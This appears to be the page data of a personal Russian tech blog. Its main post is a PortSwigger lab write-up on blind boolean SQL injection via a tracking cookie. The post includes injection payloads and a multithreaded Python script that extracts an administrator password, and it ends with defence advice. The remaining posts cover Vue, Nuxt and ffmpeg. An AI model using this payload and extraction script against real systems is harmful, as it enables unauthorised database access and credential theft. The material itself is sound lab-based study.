[{"data":1,"prerenderedAt":1183},["ShallowReactive",2],{"page-ru-\u002F":3,"recent-ru":72,"posts-ru-null":6},{"id":4,"title":5,"author":6,"body":7,"date":6,"description":64,"extension":65,"image":6,"meta":66,"navigation":67,"path":68,"seo":69,"stem":70,"tags":6,"__hash__":71},"content_ru\u002Findex.md","APSYLEG",null,{"type":8,"value":9,"toc":59},"minimark",[10,15,19,22,25,30,41,50],[11,12,14],"h1",{"id":13},"привет-я-олег","Привет, я Олег",[16,17,18],"p",{},"Изучаю пентест. Пишу код. Веду заметки по ходу дела.",[16,20,21],{},"Здесь я документирую то, что изучаю — в основном безопасность, немного фронтенда и девопса.",[23,24],"hr",{},[26,27,29],"h2",{"id":28},"категории","Категории",[16,31,32,40],{},[33,34,35],"strong",{},[36,37,39],"a",{"href":38},"\u002Fnotes\u002Fpentesting","Пентест"," — инструменты, техники, разборы CTF",[16,42,43,49],{},[33,44,45],{},[36,46,48],{"href":47},"\u002Fnotes\u002Ffrontend","Фронтенд"," — Vue.js, Nuxt, паттерны веб-разработки",[16,51,52,58],{},[33,53,54],{},[36,55,57],{"href":56},"\u002Fnotes\u002Fdevops","DevOps"," — шелл-однострочники, автоматизация, инструменты",{"title":60,"searchDepth":61,"depth":61,"links":62},"",2,[63],{"id":28,"depth":61,"text":29},"Личный технический блог — пентест, фронтенд, девопс","md",{},true,"\u002F",{"title":5,"description":64},"index","qZEoUha2Dr-xMN2eMDYnBH8aNQwldQ8_ZYci3o6kbDU",[73,705,1007,1057],{"id":74,"title":75,"author":76,"body":77,"date":693,"description":694,"extension":65,"image":6,"meta":695,"navigation":67,"path":696,"seo":697,"stem":698,"tags":699,"__hash__":704},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses.md","Слепая SQL-инъекция с условными ответами (PortSwigger Lab)","apsyleg",{"type":8,"value":78,"toc":682},[79,83,87,93,113,117,142,146,153,156,165,172,175,213,216,220,225,232,241,252,256,263,278,281,285,292,633,639,650,654,657,662,678],[11,80,82],{"id":81},"слепая-sql-инъекция-с-условными-ответами","Слепая SQL-инъекция с условными ответами",[26,84,86],{"id":85},"уязвимость","Уязвимость",[16,88,89,92],{},[33,90,91],{},"Слепая SQL-инъекция"," (Blind SQLi) — класс SQL-инъекций, при которых приложение не возвращает результаты запросов или сообщения об ошибках в HTTP-ответе. Атакующий получает данные, наблюдая за изменениями в поведении приложения: появляется ли определённое сообщение, меняется ли время ответа.",[16,94,95,96,99,100,104,105,108,109,112],{},"В данном варианте (",[33,97,98],{},"boolean-based blind SQLi",") приложение возвращает разный контент в зависимости от того, вернуло ли условие ",[101,102,103],"code",{},"TRUE"," или ",[101,106,107],{},"FALSE",". Конструируя условия вида ",[101,110,111],{},"SUBSTRING(password, 1, 1) = 'a'",", атакующий может извлекать данные посимвольно.",[26,114,116],{"id":115},"лаборатория","Лаборатория",[16,118,119,122,123,129,132,135,136,138,141],{},[33,120,121],{},"Название:"," ",[36,124,128],{"href":125,"rel":126},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fsql-injection\u002Fblind\u002Flab-conditional-responses",[127],"nofollow","Blind SQL injection with conditional responses",[130,131],"br",{},[33,133,134],{},"Сложность:"," Practitioner",[130,137],{},[33,139,140],{},"Цель:"," Эксплуатировать слепую SQL-инъекцию в tracking cookie, извлечь пароль администратора и войти в аккаунт.",[26,143,145],{"id":144},"разведка","Разведка",[16,147,148,149,152],{},"Приложение хранит cookie ",[101,150,151],{},"TrackingId",", которая используется в SQL-запросе. Результат запроса нигде не отображается, однако на странице появляется сообщение «Welcome back!», если запрос вернул хотя бы одну строку.",[16,154,155],{},"Сначала подтверждаем точку инъекции, добавив кавычку:",[157,158,163],"pre",{"className":159,"code":161,"language":162},[160],"language-text","TrackingId=ncJfdwqSUQK7Gh4b'--\n","text",[101,164,161],{"__ignoreMap":60},[16,166,167,168,171],{},"Сообщение «Welcome back!» продолжает появляться — комментарий ",[101,169,170],{},"--"," нейтрализует остаток оригинального запроса, инъекция активна.",[16,173,174],{},"Проверяем булево поведение:",[157,176,180],{"className":177,"code":178,"language":179,"meta":60,"style":60},"language-sql shiki shiki-themes github-light github-dark","-- Условие TRUE → «Welcome back!» появляется\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n\n-- Условие FALSE → «Welcome back!» исчезает\nTrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n","sql",[101,181,182,190,195,201,207],{"__ignoreMap":60},[183,184,187],"span",{"class":185,"line":186},"line",1,[183,188,189],{},"-- Условие TRUE → «Welcome back!» появляется\n",[183,191,192],{"class":185,"line":61},[183,193,194],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--\n",[183,196,198],{"class":185,"line":197},3,[183,199,200],{"emptyLinePlaceholder":67},"\n",[183,202,204],{"class":185,"line":203},4,[183,205,206],{},"-- Условие FALSE → «Welcome back!» исчезает\n",[183,208,210],{"class":185,"line":209},5,[183,211,212],{},"TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--\n",[16,214,215],{},"Теперь у нас есть надёжный оракул: истинное условие — сообщение есть, ложное — нет. Этого достаточно для извлечения любых данных из базы.",[26,217,219],{"id":218},"эксплуатация","Эксплуатация",[221,222,224],"h3",{"id":223},"шаг-1-определяем-длину-пароля","Шаг 1 — Определяем длину пароля",[16,226,227,228,231],{},"Используем функцию ",[101,229,230],{},"LENGTH()",":",[157,233,235],{"className":177,"code":234,"language":179,"meta":60,"style":60},"TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--\n",[101,236,237],{"__ignoreMap":60},[183,238,239],{"class":185,"line":186},[183,240,234],{},[16,242,243,244,247,248,251],{},"«Welcome back!» появляется при ",[101,245,246],{},"= 20"," — пароль состоит из ",[33,249,250],{},"20 символов",".",[221,253,255],{"id":254},"шаг-2-извлекаем-символы","Шаг 2 — Извлекаем символы",[16,257,258,259,262],{},"Функция ",[101,260,261],{},"SUBSTRING(строка, позиция, длина)"," позволяет проверять по одному символу:",[157,264,266],{"className":177,"code":265,"language":179,"meta":60,"style":60},"-- Первый символ — 'w'?\nTrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[101,267,268,273],{"__ignoreMap":60},[183,269,270],{"class":185,"line":186},[183,271,272],{},"-- Первый символ — 'w'?\n",[183,274,275],{"class":185,"line":61},[183,276,277],{},"TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--\n",[16,279,280],{},"Делать это вручную для 20 символов × 36 возможных значений (a–z + 0–9) — сотни запросов. Автоматизируем скриптом.",[221,282,284],{"id":283},"шаг-3-автоматизация-на-python","Шаг 3 — Автоматизация на Python",[16,286,287,288,291],{},"Скрипт использует ",[101,289,290],{},"ThreadPoolExecutor"," для параллельного выполнения 10 запросов одновременно:",[157,293,297],{"className":294,"code":295,"language":296,"meta":60,"style":60},"language-python shiki shiki-themes github-light github-dark","import requests\nimport string\nfrom concurrent.futures import ThreadPoolExecutor, as_completed\n\nHOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\nBASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\nTRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\nSESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n\nCHARSET = string.ascii_lowercase + string.digits\nMAX_LENGTH = 30\nTHREADS = 10\n\n\ndef check(sql_condition: str) -> bool:\n    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n    return \"Welcome back\" in r.text\n\n\ndef get_password_length(max_len: int = MAX_LENGTH) -> int:\n    print(\"[*] Определяем длину пароля...\")\n    for n in range(1, max_len + 1):\n        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n        if check(condition):\n            print(f\"[+] Длина пароля: {n}\")\n            return n\n    raise ValueError(f\"Длина пароля не найдена в пределах {max_len}\")\n\n\ndef get_char_at(pos: int, length: int) -> tuple[int, str]:\n    for c in CHARSET:\n        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n        if check(condition):\n            return pos, c\n    return pos, \"?\"\n\n\ndef get_password(length: int) -> str:\n    print(f\"[*] Перебираем {length} символов в {THREADS} потоков...\")\n    password = [\"?\"] * length\n    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n        for future in as_completed(futures):\n            pos, char = future.result()\n            password[pos - 1] = char\n            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n    return \"\".join(password)\n\n\ndef main():\n    length = get_password_length()\n    password = get_password(length)\n    print(f\"\\n[+] Пароль: {password}\")\n\n\nif __name__ == \"__main__\":\n    main()\n","python",[101,298,299,304,309,314,318,323,329,335,341,346,352,358,364,369,374,380,386,392,398,404,409,414,420,426,432,438,444,450,456,462,467,472,478,484,490,495,501,507,512,517,523,529,535,541,547,553,559,565,571,577,582,587,593,599,605,611,616,621,627],{"__ignoreMap":60},[183,300,301],{"class":185,"line":186},[183,302,303],{},"import requests\n",[183,305,306],{"class":185,"line":61},[183,307,308],{},"import string\n",[183,310,311],{"class":185,"line":197},[183,312,313],{},"from concurrent.futures import ThreadPoolExecutor, as_completed\n",[183,315,316],{"class":185,"line":203},[183,317,200],{"emptyLinePlaceholder":67},[183,319,320],{"class":185,"line":209},[183,321,322],{},"HOST = \"0a7100260337b44880b2629c0027006c.web-security-academy.net\"\n",[183,324,326],{"class":185,"line":325},6,[183,327,328],{},"BASE_URL = f\"https:\u002F\u002F{HOST}\u002Ffilter?category=Gifts\"\n",[183,330,332],{"class":185,"line":331},7,[183,333,334],{},"TRACKING_ID = \"ncJfdwqSUQK7Gh4b\"\n",[183,336,338],{"class":185,"line":337},8,[183,339,340],{},"SESSION = \"mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk\"\n",[183,342,344],{"class":185,"line":343},9,[183,345,200],{"emptyLinePlaceholder":67},[183,347,349],{"class":185,"line":348},10,[183,350,351],{},"CHARSET = string.ascii_lowercase + string.digits\n",[183,353,355],{"class":185,"line":354},11,[183,356,357],{},"MAX_LENGTH = 30\n",[183,359,361],{"class":185,"line":360},12,[183,362,363],{},"THREADS = 10\n",[183,365,367],{"class":185,"line":366},13,[183,368,200],{"emptyLinePlaceholder":67},[183,370,372],{"class":185,"line":371},14,[183,373,200],{"emptyLinePlaceholder":67},[183,375,377],{"class":185,"line":376},15,[183,378,379],{},"def check(sql_condition: str) -> bool:\n",[183,381,383],{"class":185,"line":382},16,[183,384,385],{},"    payload = f\"{TRACKING_ID}'+AND+{sql_condition}--\"\n",[183,387,389],{"class":185,"line":388},17,[183,390,391],{},"    cookies = {\"TrackingId\": payload, \"session\": SESSION}\n",[183,393,395],{"class":185,"line":394},18,[183,396,397],{},"    r = requests.get(BASE_URL, cookies=cookies, timeout=10)\n",[183,399,401],{"class":185,"line":400},19,[183,402,403],{},"    return \"Welcome back\" in r.text\n",[183,405,407],{"class":185,"line":406},20,[183,408,200],{"emptyLinePlaceholder":67},[183,410,412],{"class":185,"line":411},21,[183,413,200],{"emptyLinePlaceholder":67},[183,415,417],{"class":185,"line":416},22,[183,418,419],{},"def get_password_length(max_len: int = MAX_LENGTH) -> int:\n",[183,421,423],{"class":185,"line":422},23,[183,424,425],{},"    print(\"[*] Определяем длину пароля...\")\n",[183,427,429],{"class":185,"line":428},24,[183,430,431],{},"    for n in range(1, max_len + 1):\n",[183,433,435],{"class":185,"line":434},25,[183,436,437],{},"        condition = f\"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}\"\n",[183,439,441],{"class":185,"line":440},26,[183,442,443],{},"        if check(condition):\n",[183,445,447],{"class":185,"line":446},27,[183,448,449],{},"            print(f\"[+] Длина пароля: {n}\")\n",[183,451,453],{"class":185,"line":452},28,[183,454,455],{},"            return n\n",[183,457,459],{"class":185,"line":458},29,[183,460,461],{},"    raise ValueError(f\"Длина пароля не найдена в пределах {max_len}\")\n",[183,463,465],{"class":185,"line":464},30,[183,466,200],{"emptyLinePlaceholder":67},[183,468,470],{"class":185,"line":469},31,[183,471,200],{"emptyLinePlaceholder":67},[183,473,475],{"class":185,"line":474},32,[183,476,477],{},"def get_char_at(pos: int, length: int) -> tuple[int, str]:\n",[183,479,481],{"class":185,"line":480},33,[183,482,483],{},"    for c in CHARSET:\n",[183,485,487],{"class":185,"line":486},34,[183,488,489],{},"        condition = f\"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'\"\n",[183,491,493],{"class":185,"line":492},35,[183,494,443],{},[183,496,498],{"class":185,"line":497},36,[183,499,500],{},"            return pos, c\n",[183,502,504],{"class":185,"line":503},37,[183,505,506],{},"    return pos, \"?\"\n",[183,508,510],{"class":185,"line":509},38,[183,511,200],{"emptyLinePlaceholder":67},[183,513,515],{"class":185,"line":514},39,[183,516,200],{"emptyLinePlaceholder":67},[183,518,520],{"class":185,"line":519},40,[183,521,522],{},"def get_password(length: int) -> str:\n",[183,524,526],{"class":185,"line":525},41,[183,527,528],{},"    print(f\"[*] Перебираем {length} символов в {THREADS} потоков...\")\n",[183,530,532],{"class":185,"line":531},42,[183,533,534],{},"    password = [\"?\"] * length\n",[183,536,538],{"class":185,"line":537},43,[183,539,540],{},"    with ThreadPoolExecutor(max_workers=THREADS) as executor:\n",[183,542,544],{"class":185,"line":543},44,[183,545,546],{},"        futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}\n",[183,548,550],{"class":185,"line":549},45,[183,551,552],{},"        for future in as_completed(futures):\n",[183,554,556],{"class":185,"line":555},46,[183,557,558],{},"            pos, char = future.result()\n",[183,560,562],{"class":185,"line":561},47,[183,563,564],{},"            password[pos - 1] = char\n",[183,566,568],{"class":185,"line":567},48,[183,569,570],{},"            print(f\"  [{pos}\u002F{length}] '{char}' => {''.join(password)}\")\n",[183,572,574],{"class":185,"line":573},49,[183,575,576],{},"    return \"\".join(password)\n",[183,578,580],{"class":185,"line":579},50,[183,581,200],{"emptyLinePlaceholder":67},[183,583,585],{"class":185,"line":584},51,[183,586,200],{"emptyLinePlaceholder":67},[183,588,590],{"class":185,"line":589},52,[183,591,592],{},"def main():\n",[183,594,596],{"class":185,"line":595},53,[183,597,598],{},"    length = get_password_length()\n",[183,600,602],{"class":185,"line":601},54,[183,603,604],{},"    password = get_password(length)\n",[183,606,608],{"class":185,"line":607},55,[183,609,610],{},"    print(f\"\\n[+] Пароль: {password}\")\n",[183,612,614],{"class":185,"line":613},56,[183,615,200],{"emptyLinePlaceholder":67},[183,617,619],{"class":185,"line":618},57,[183,620,200],{"emptyLinePlaceholder":67},[183,622,624],{"class":185,"line":623},58,[183,625,626],{},"if __name__ == \"__main__\":\n",[183,628,630],{"class":185,"line":629},59,[183,631,632],{},"    main()\n",[16,634,635,636],{},"Результат: ",[101,637,638],{},"wfa3n32o7a6mb4xon7d6",[16,640,641,642,645,646,649],{},"Заходим в ",[101,643,644],{},"\u002Fmy-account"," как ",[101,647,648],{},"administrator"," с этим паролем — лаба решена.",[26,651,653],{"id":652},"вывод","Вывод",[16,655,656],{},"Слепая SQL-инъекция менее очевидна, чем классическая, но не менее опасна. Даже без какого-либо вывода данных, одного булевого сигнала (сообщение есть \u002F нет) достаточно для извлечения всей базы.",[16,658,659],{},[33,660,661],{},"Как защититься:",[663,664,665,669,672],"ul",{},[666,667,668],"li",{},"Использовать параметризованные запросы (prepared statements) — они полностью исключают инъекцию",[666,670,671],{},"Никогда не конкатенировать пользовательский ввод напрямую в SQL-строку",[666,673,674,675],{},"Применять принцип наименьших привилегий — аккаунт веб-приложения не должен иметь доступ к таблице ",[101,676,677],{},"users",[679,680,681],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":60,"searchDepth":61,"depth":61,"links":683},[684,685,686,687,692],{"id":85,"depth":61,"text":86},{"id":115,"depth":61,"text":116},{"id":144,"depth":61,"text":145},{"id":218,"depth":61,"text":219,"children":688},[689,690,691],{"id":223,"depth":197,"text":224},{"id":254,"depth":197,"text":255},{"id":283,"depth":197,"text":284},{"id":652,"depth":61,"text":653},"2026-03-28","Как эксплуатировать слепую SQL-инъекцию через tracking cookie методом булевого вывода и многопоточного Python-скрипта.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",{"title":75,"description":694},"notes\u002Fpentesting\u002Fportswigger-sqli-blind-conditional-responses",[700,701,702,703],"portswigger","sql-injection","blind-sqli","web-security","VT_XCLAwWSq5eUzidLCyFph4qOXnC4jczwBb8lA_p_w",{"id":706,"title":707,"author":708,"body":709,"date":997,"description":998,"extension":65,"image":6,"meta":999,"navigation":67,"path":1000,"seo":1001,"stem":1002,"tags":1003,"__hash__":1006},"content_ru\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive.md","Создание стейта компонента через reactive() как в Options API","Олег Анучин",{"type":8,"value":710,"toc":995},[711,715,725,736,992],[11,712,714],{"id":713},"создание-стейта-компонента-через-reactive","Создание стейта компонента через reactive()",[16,716,717,718,721,722,251],{},"В Options API мы можем использовать ",[101,719,720],{},"data()"," для создания стейта компонента и обращаться к нему через ",[101,723,724],{},"this",[16,726,727,728,731,732,735],{},"С помощью ",[101,729,730],{},"reactive()"," из Composition API можно добиться того же — гораздо удобнее, чем ",[101,733,734],{},"ref()"," для нескольких свойств.",[157,737,741],{"className":738,"code":739,"language":740,"meta":60,"style":60},"language-vue shiki shiki-themes github-light github-dark","\u003Cscript>\nimport { computed, reactive, toRefs } from 'vue'\n\nexport default {\n  setup() {\n    const state = reactive({\n      price: 2,\n      quantity: 5\n    })\n\n    const total = computed(() => {\n      return state.price * state.quantity\n    })\n\n    return {\n      ...toRefs(state),\n      total\n    }\n  }\n}\n\u003C\u002Fscript>\n\n\u003Ctemplate>\n  \u003Cp>Цена: {{ price }}\u003C\u002Fp>\n  \u003Cp>Количество: {{ quantity }}\u003C\u002Fp>\n  \u003Cp>Итого: {{ total }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n","vue",[101,742,743,756,772,776,787,796,814,825,833,838,842,862,876,880,884,891,902,907,912,917,922,931,935,944,958,971,984],{"__ignoreMap":60},[183,744,745,749,753],{"class":185,"line":186},[183,746,748],{"class":747},"sVt8B","\u003C",[183,750,752],{"class":751},"s9eBZ","script",[183,754,755],{"class":747},">\n",[183,757,758,762,765,768],{"class":185,"line":61},[183,759,761],{"class":760},"szBVR","import",[183,763,764],{"class":747}," { computed, reactive, toRefs } ",[183,766,767],{"class":760},"from",[183,769,771],{"class":770},"sZZnC"," 'vue'\n",[183,773,774],{"class":185,"line":197},[183,775,200],{"emptyLinePlaceholder":67},[183,777,778,781,784],{"class":185,"line":203},[183,779,780],{"class":760},"export",[183,782,783],{"class":760}," default",[183,785,786],{"class":747}," {\n",[183,788,789,793],{"class":185,"line":209},[183,790,792],{"class":791},"sScJk","  setup",[183,794,795],{"class":747},"() {\n",[183,797,798,801,805,808,811],{"class":185,"line":325},[183,799,800],{"class":760},"    const",[183,802,804],{"class":803},"sj4cs"," state",[183,806,807],{"class":760}," =",[183,809,810],{"class":791}," reactive",[183,812,813],{"class":747},"({\n",[183,815,816,819,822],{"class":185,"line":331},[183,817,818],{"class":747},"      price: ",[183,820,821],{"class":803},"2",[183,823,824],{"class":747},",\n",[183,826,827,830],{"class":185,"line":337},[183,828,829],{"class":747},"      quantity: ",[183,831,832],{"class":803},"5\n",[183,834,835],{"class":185,"line":343},[183,836,837],{"class":747},"    })\n",[183,839,840],{"class":185,"line":348},[183,841,200],{"emptyLinePlaceholder":67},[183,843,844,846,849,851,854,857,860],{"class":185,"line":354},[183,845,800],{"class":760},[183,847,848],{"class":803}," total",[183,850,807],{"class":760},[183,852,853],{"class":791}," computed",[183,855,856],{"class":747},"(() ",[183,858,859],{"class":760},"=>",[183,861,786],{"class":747},[183,863,864,867,870,873],{"class":185,"line":360},[183,865,866],{"class":760},"      return",[183,868,869],{"class":747}," state.price ",[183,871,872],{"class":760},"*",[183,874,875],{"class":747}," state.quantity\n",[183,877,878],{"class":185,"line":366},[183,879,837],{"class":747},[183,881,882],{"class":185,"line":371},[183,883,200],{"emptyLinePlaceholder":67},[183,885,886,889],{"class":185,"line":376},[183,887,888],{"class":760},"    return",[183,890,786],{"class":747},[183,892,893,896,899],{"class":185,"line":382},[183,894,895],{"class":760},"      ...",[183,897,898],{"class":791},"toRefs",[183,900,901],{"class":747},"(state),\n",[183,903,904],{"class":185,"line":388},[183,905,906],{"class":747},"      total\n",[183,908,909],{"class":185,"line":394},[183,910,911],{"class":747},"    }\n",[183,913,914],{"class":185,"line":400},[183,915,916],{"class":747},"  }\n",[183,918,919],{"class":185,"line":406},[183,920,921],{"class":747},"}\n",[183,923,924,927,929],{"class":185,"line":411},[183,925,926],{"class":747},"\u003C\u002F",[183,928,752],{"class":751},[183,930,755],{"class":747},[183,932,933],{"class":185,"line":416},[183,934,200],{"emptyLinePlaceholder":67},[183,936,937,939,942],{"class":185,"line":422},[183,938,748],{"class":747},[183,940,941],{"class":751},"template",[183,943,755],{"class":747},[183,945,946,949,951,954,956],{"class":185,"line":428},[183,947,948],{"class":747},"  \u003C",[183,950,16],{"class":751},[183,952,953],{"class":747},">Цена: {{ price }}\u003C\u002F",[183,955,16],{"class":751},[183,957,755],{"class":747},[183,959,960,962,964,967,969],{"class":185,"line":434},[183,961,948],{"class":747},[183,963,16],{"class":751},[183,965,966],{"class":747},">Количество: {{ quantity }}\u003C\u002F",[183,968,16],{"class":751},[183,970,755],{"class":747},[183,972,973,975,977,980,982],{"class":185,"line":440},[183,974,948],{"class":747},[183,976,16],{"class":751},[183,978,979],{"class":747},">Итого: {{ total }}\u003C\u002F",[183,981,16],{"class":751},[183,983,755],{"class":747},[183,985,986,988,990],{"class":185,"line":446},[183,987,926],{"class":747},[183,989,941],{"class":751},[183,991,755],{"class":747},[679,993,994],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":60,"searchDepth":61,"depth":61,"links":996},[],"2022-08-20","Как использовать reactive() в Vue 3 Composition API для создания стейта аналогично data() в Options API",{},"\u002Fnotes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",{"title":707,"description":998},"notes\u002Ffrontend\u002Fcreate-component-state-like-options-api-using-reactive",[740,1004,1005],"composition-api","reactive","AVpr__V_hvj6bFD9-D94muDEH5YF4HZb7akQwYPFqd8",{"id":1008,"title":1009,"author":708,"body":1010,"date":1047,"description":1048,"extension":65,"image":6,"meta":1049,"navigation":67,"path":1050,"seo":1051,"stem":1052,"tags":1053,"__hash__":1056},"content_ru\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3.md","Как обновить Nuxt 3 проект",{"type":8,"value":1011,"toc":1045},[1012,1015,1033,1036,1042],[11,1013,1009],{"id":1014},"как-обновить-nuxt-3-проект",[157,1016,1020],{"className":1017,"code":1018,"language":1019,"meta":60,"style":60},"language-bash shiki shiki-themes github-light github-dark","yarn nuxi upgrade\n","bash",[101,1021,1022],{"__ignoreMap":60},[183,1023,1024,1027,1030],{"class":185,"line":186},[183,1025,1026],{"class":791},"yarn",[183,1028,1029],{"class":770}," nuxi",[183,1031,1032],{"class":770}," upgrade\n",[16,1034,1035],{},"Пример вывода:",[157,1037,1040],{"className":1038,"code":1039,"language":162},[160],"✔ Successfully upgraded nuxt from 3.0.0-rc.4-27605536.8c2c80e to 3.0.0-rc.4\n",[101,1041,1039],{"__ignoreMap":60},[679,1043,1044],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":60,"searchDepth":61,"depth":61,"links":1046},[],"2022-08-15","Простая команда для обновления Nuxt 3 до последней версии",{},"\u002Fnotes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",{"title":1009,"description":1048},"notes\u002Ffrontend\u002Fhow-to-upgrade-nuxt-3",[1054,740,1055],"nuxt","cli","_HR0DYn8dvm9dDN6C0NI3IBdhwQBiKDVaxiB0n_y3VA",{"id":1058,"title":1059,"author":708,"body":1060,"date":1172,"description":1173,"extension":65,"image":6,"meta":1174,"navigation":67,"path":1175,"seo":1176,"stem":1177,"tags":1178,"__hash__":1182},"content_ru\u002Fnotes\u002Fdevops\u002Fbatch-convert-music-files-flac-aiff-ffmpeg.md","Пакетная конвертация FLAC в AIFF через ffmpeg",{"type":8,"value":1061,"toc":1170},[1062,1065,1068,1084,1094,1167],[11,1063,1059],{"id":1064},"пакетная-конвертация-flac-в-aiff-через-ffmpeg",[16,1066,1067],{},"Нужен установленный ffmpeg. Для macOS:",[157,1069,1071],{"className":1017,"code":1070,"language":1019,"meta":60,"style":60},"brew install ffmpeg\n",[101,1072,1073],{"__ignoreMap":60},[183,1074,1075,1078,1081],{"class":185,"line":186},[183,1076,1077],{"class":791},"brew",[183,1079,1080],{"class":770}," install",[183,1082,1083],{"class":770}," ffmpeg\n",[16,1085,1086,1087,1090,1091,231],{},"Эта команда сконвертирует все ",[101,1088,1089],{},"*.flac"," файлы в ",[101,1092,1093],{},"*.aiff",[157,1095,1097],{"className":1017,"code":1096,"language":1019,"meta":60,"style":60},"for i in *.flac; do ffmpeg -i \"$i\" -write_id3v2 1 -c:v copy \"${i%.*}.aiff\"; done\n",[101,1098,1099],{"__ignoreMap":60},[183,1100,1101,1104,1107,1110,1113,1116,1119,1122,1125,1128,1131,1134,1137,1140,1143,1146,1149,1152,1155,1157,1159,1162,1164],{"class":185,"line":186},[183,1102,1103],{"class":760},"for",[183,1105,1106],{"class":747}," i ",[183,1108,1109],{"class":760},"in",[183,1111,1112],{"class":770}," *.flac",[183,1114,1115],{"class":747},"; ",[183,1117,1118],{"class":760},"do",[183,1120,1121],{"class":791}," ffmpeg",[183,1123,1124],{"class":803}," -i",[183,1126,1127],{"class":770}," \"",[183,1129,1130],{"class":747},"$i",[183,1132,1133],{"class":770},"\"",[183,1135,1136],{"class":803}," -write_id3v2",[183,1138,1139],{"class":803}," 1",[183,1141,1142],{"class":803}," -c:v",[183,1144,1145],{"class":770}," copy",[183,1147,1148],{"class":770}," \"${",[183,1150,1151],{"class":747},"i",[183,1153,1154],{"class":760},"%",[183,1156,251],{"class":770},[183,1158,872],{"class":760},[183,1160,1161],{"class":770},"}.aiff\"",[183,1163,1115],{"class":747},[183,1165,1166],{"class":760},"done\n",[679,1168,1169],{},"html pre.shiki code .sScJk, html code.shiki 